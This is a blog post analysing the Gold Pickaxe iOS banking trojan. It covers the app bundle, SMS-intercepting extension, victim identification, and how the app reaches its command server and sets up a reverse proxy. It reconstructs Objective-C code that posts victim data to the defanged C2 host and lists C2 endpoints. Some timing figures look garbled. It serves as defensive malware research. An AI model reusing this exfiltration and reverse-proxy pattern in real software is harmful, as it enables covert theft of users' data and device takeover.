Gold Pickaxe iOS Technical Analysis: IPA Overview and C2 Communication Startup
Posted on April 19, 2024 • 12 min read • 2,525 wordsIn February 2024 Group-IB wrote a blog post about a mobile Trojan developed by a Chinese-speaking cybercrimine group called Gold Pickaxe.
This malware targets both iOS and Android users in the Asia Pacific region in order to collect identity documents, SMS, pictures and other data related to the compromised phones.
The malware communicates with the C2 using two protocols:
In this article we are going to analyse the IPA file, and then describe how the malware connects to the C2 websocket server.
How the malware listens for incoming commands and executes them are not in the scope of this blog post.
The SHA-256 of the IPA file is 4571f8c8560a8a66a90763d7236f55273750cf8dd8f4fdf443b5a07d7a93a3df, and it is reported as malicious on VirusTotal.
The application bundle contains all the application files, there are interesting files related to the fast reverse proxy configuration, the html pages shown to the user, and a plugin used to intercept sms.
The iOS application is signed with the following information:
Obviously the associated domain is reported as malicious.
Analyzing the Info.plist file, we can see interesting information: the application name is Digital Pensions, the bundle id is com.want.long.chinp, furthermore the following settings let us know that the malware accesses the photo library and camera:
The config.ini file contains information related to the fast reverse proxy configuration as shown in the image below.
The values “#server_addr”, “#server_port”,”#token”, “#adid” and “#remote_port” will be replaced with values received from the C2.
The plugins folder contains an extension called messagefilter.appex, according to Group-IB due to Apple restrictions, this extension can only intercept SMS received from numbers that are not in the contact list
In the extension Info.plist we can find the URL used to exfiltrate the intercepted sms.
The mach-o file contains chinese language strings used in logs and thai language strings that are shown to the user, this confirms that the app is developed by a Chinese-speaking group targetting thai users.
The malware identifies each victim using an Identifiers for Advertisers (IDFA), the IDFA is sent in every HTTP request in order to identify the device. The +[commonUtils getAdid] method is executed to obtain the IDFA, it is just a wrapper for the +[SimulateIDFA createSimulateIDFA] method as shown in the image below.
The SimulateIDFA project is publicly available on github, the createSimulateIDFA method is the same of the github project.
It is possible to recognize the entire method in the disassembler; for example, in the following image, we can see the carrierInfo function.
The Malware sends data and information to the C2 using the HTTP protocol, it uses the AFHTTPSessionManager class to execute a HTTP Post Request via the POST:parameters:headers:constructingBodyWithBlock:progress:success:failure: method.
We can see the method details below.
- (nullable NSURLSessionDataTask *)POST:(NSString *)URLString
parameters:(nullable id)parameters
headers:(nullable NSDictionary<NSString *, NSString *> *)headers
constructingBodyWithBlock:(nullable void(id<AFMultipartFormData> formData))block
progress:(nullable void(NSProgress * uploadProgress))uploadProgress
success:(nullable void(NSURLSessionDataTask * task, id _Nullable responseObject))success
failure:(nullable void(NSURLSessionDataTask *_Nullable task, NSError * error))failure;
Parameters:
Based on the specific API used by the malware some parameters can be set or not and in some case they can be different.
For example (nullable id)parameters is a Dictionary contains the parameters that are send to the C2 , each parameter is a key-value pair. The adid key with the IDFA value is send in each request, other parameters depends on the specific API purpose (for example the API used to send crash information has another parameter contains a string representing the crash details). Some API can set or not the block, success and failure params in order to execute specific function if the request succeeds or fails. A generic snippet of the HTTP request is the following.
AFHTTPSessionManager *manager = [AFHTTPSessionManager manager];
[manager setResponseSerializer:[AFHTTPResponseSerializer serializer]];
NSString *urlString = [NSString stringWithFormat:@"%@%@", @"http://hzc5[.]xyz", @"/api/apple/xxxx"];
NSString *keys[] = {@"adid", ... /* keys */};
NSString *objects[] = {[CommonUtils getAdid], ..., /* values */};
NSDictionary *parameters = [NSDictionary dictionaryWithObjects:objects
forKeys:keys
count: /* number of parameters */
];
[manager POST:urlString
parameters:parameters
headers:nil
constructingBodyWithBlock: /* can be set or not */
progress:nil
success:nil /* can be set or not */
failure:nil /* can be set or not */
];
When the application starts, the -[AppDelegate application:didFinishLaunchingWithOptions:] method is executed. If there were crashes, the malware gets the crash detail (getCrash), saves the crash detail in the standUserDefaults and sends it to the C2 (the two saveCrash method), after that, the malware checks if the application should be terminated (isDestory). If that’s the case the application exits (_exit), otherwise it sets the isStartFrp flag variable to 0 (this variable is used to determine if the fast reverse proxy is executed).
The +[UserDefaultsManager getCrash:] method is responsible to get the crashes details, we are not going to show its details.
The +[HttpUtils saveCrash:] method executes a HTTP Post request to “/api/apple/savecrash”, it sends two parameters:
In the screenshow below we can see the saveCrash method.
The +[UserDefaultsManager saveCrash:] method is responsible to save the crashes details into the standUserDefaults, we are not going to show its details.
The +[UserDefaultsManager isDestory] method is responsible to check if the application should be terminated, this is done by checks if the key “isDestory” in the standardUserDefaults is set to 1.
After all these checks, the malware tries to connect to the websocket server using the JetFire library from github. In the disassembler we can recognize the code snipet from the github readme.
At this point the malware uses the NSTimer class to invoke the scheduledTimerWithTimeInterval:target:selector:userInfo:repeats: method to schedule fours tasks. We can see the method details below.
+ (NSTimer *)scheduledTimerWithTimeInterval:(NSTimeInterval)ti
target:(id)aTarget
selector:(SEL)aSelector
userInfo:(id)userInfo
repeats:(BOOL)yesOrNo;
Parameters:
The malware schedules the execution of four tasks: sendHeartbeat, checkAuth, checkWifi, and testSpeed.
The -[AppDelegate sendHeartbeat] methods is used to let the C2 know that the malware is alive on the victim’s phone. It writes che strings “heartbeat” on the websocket connection.
Let’s see how it is executed and how it works.
Before schedule the task, the malware saves the value 10 (0x40A00000) in a float variable called “heartTime”, after that it schedules the task to execute the sendHeartbeat method after a Time Interval of 5.0 ms, the repeats param is set to 1, this means that the task will reschedule itself.
The sendHeartbeat method checks if the websocket connection is up, if not it tries to reconnect, otherwise if the value of the “heartTime” is not equal to 5.0, it invalidates and reschedules the task again with a Time Interval of 104 ms ( 0x41A00000). Then the method writes the string “Heartbeat” on the websocket connection.
The -[AppDelegate checkAuth] method checks if the user has given the application permission to access the photo library.
The malware schedules the checkAuth method with a Time Interval of 34.5 ms (0x404E000000000000), as for the previous task, the repeats param is set to 1, this means that this task will reschedule itself.
The checkAuth method executes the hasPicAuth method that it just a wrapper for the +[PHPhotoLibrary authorizationStatus] method used to check if the user has given the application permission related to the photo library.
If the permission is enabled, the malware executes the +[HttpUtils updateAuth:auth:] method with two arguments, the strings “2” and “1”.
The updateAuth:auth: method performs a HTTP Post request to “/api/apple/applyauth”, it sends three parameters:
The -[AppDelegate checkWifi] method is used to check if the phone is connected via WiFi.
The malware schedules the checkWifi method with a Time Interval of 30 ms , the repeats param is set to 1 in this case too.
The checkWifi method is just a wrapper for the +[HttpUtils changeWifiStatus] method that performs a HTTP Post request to “/api/apple/changewifistatus”, it sends two parameters:
The isWiFi method compares the return value of the opensource -[Reachability currentReachabilityStatus] method, if the returned value is 2 (it means that the WiFi is used) it returns 1 otherwise it returns 0.
We can recognize the currentReachabilityStatus method in the disassembler.
The -[AppDelegate testSpeed] method is used to calculate information related to the connection speed.
The malware execute the -[AppDelegate testSpeed] method, and then schedules the execution of the same method with a Time Interval of 34.5 ms , the repeats param is set to 1 in this case too.
The testSpeed method executes the ping command to “www.google.com” using the PPSPing open source project. It uses two variable to calculate the connection speed:
In the following screenshot we can see that the two variable are initialize to 0, and then we can recognize the PPSPing startWithCallbackHandler method.
The callback function checks the value of the pingCount variable and perform the following actions:
The changeSigna: method performs a HTTP Post request to “/api/apple/changesignal" with two parameters:
When the JetFire library websocket connection succeeds, the delegate method -[AppDelegate websocketDidConnect:] is executed.
It calls the -[AppDelegate checkDestruction] method responsible to ask the C2 if the application should be terminated.
If the application is not terminated, the isStartFrp flag variable is checked, if the value of the variable is 1, the method exits because the fast reverse proxy is already running, otherwise it executes the -[AppDelegate getFrpConfigStart] method via dispatch_after.
The checkDestruction method performs a HTTP Post request to “/api/apple/checkdestruction” by sending the adid with the IDFA value as parameter, it also sets a function to be execute if the request succeeds.
The executed function (if the request suceeds) checks if the received value from the C2 is the string “1" and in this case it executes the setDestory method that is responsible to add the key isDestroy with value “1" in the standardUserDefaults (if you remember the +[UserDefaultsManager isDestory] method checks this value), then it executes a wrapper for the exit function via dispatch_time.
The -[AppDelegate getFrpConfigStart] method, performs a HTTP Post request to “/api/apple/getfrpconfig" by sending the adid with the IDFA value as parameter, if the request succeeds, the sub_10001340C function is executed.
The sub_10001340C function parses the server response in order to get the configuration values for the fast reverse proxy.
It reads the config.ini file, and replace each value for the server_addr, server_port, token and remote_port keys with the ones received from the C2 server.
After replaced each value, it writes the new configuration in a new file called newconfig.ini then it executes the -[AppDelegate setIsStartFrp:] responsible for setting the variable isStartFrp to 1.
At this point it executes two dispatch_async function to set up the socks5 server and the fast reverse proxy.
The sock5 server is implemented using the open source portable socks5 server microsocks we can recognize it in the disassembler.
The fast reverse proxy, is implemented using the open source project FRP.
The opportunity to analyze iOS malware is very rare, so diving into the Gold Pickaxe sample was an interesting experience.
We examined the IPA content and observed how the malware connects to the C2 using the webSocket and the HTTP protocols to establish the connection and send data.
Analyzing the entire malware would provide valuable insights into how the received commands are processed.
Due to the European Digital Market Act, Apple will be required to permit the use of external markets, which could potentially be used by cybercriminals to introduce iOS malware.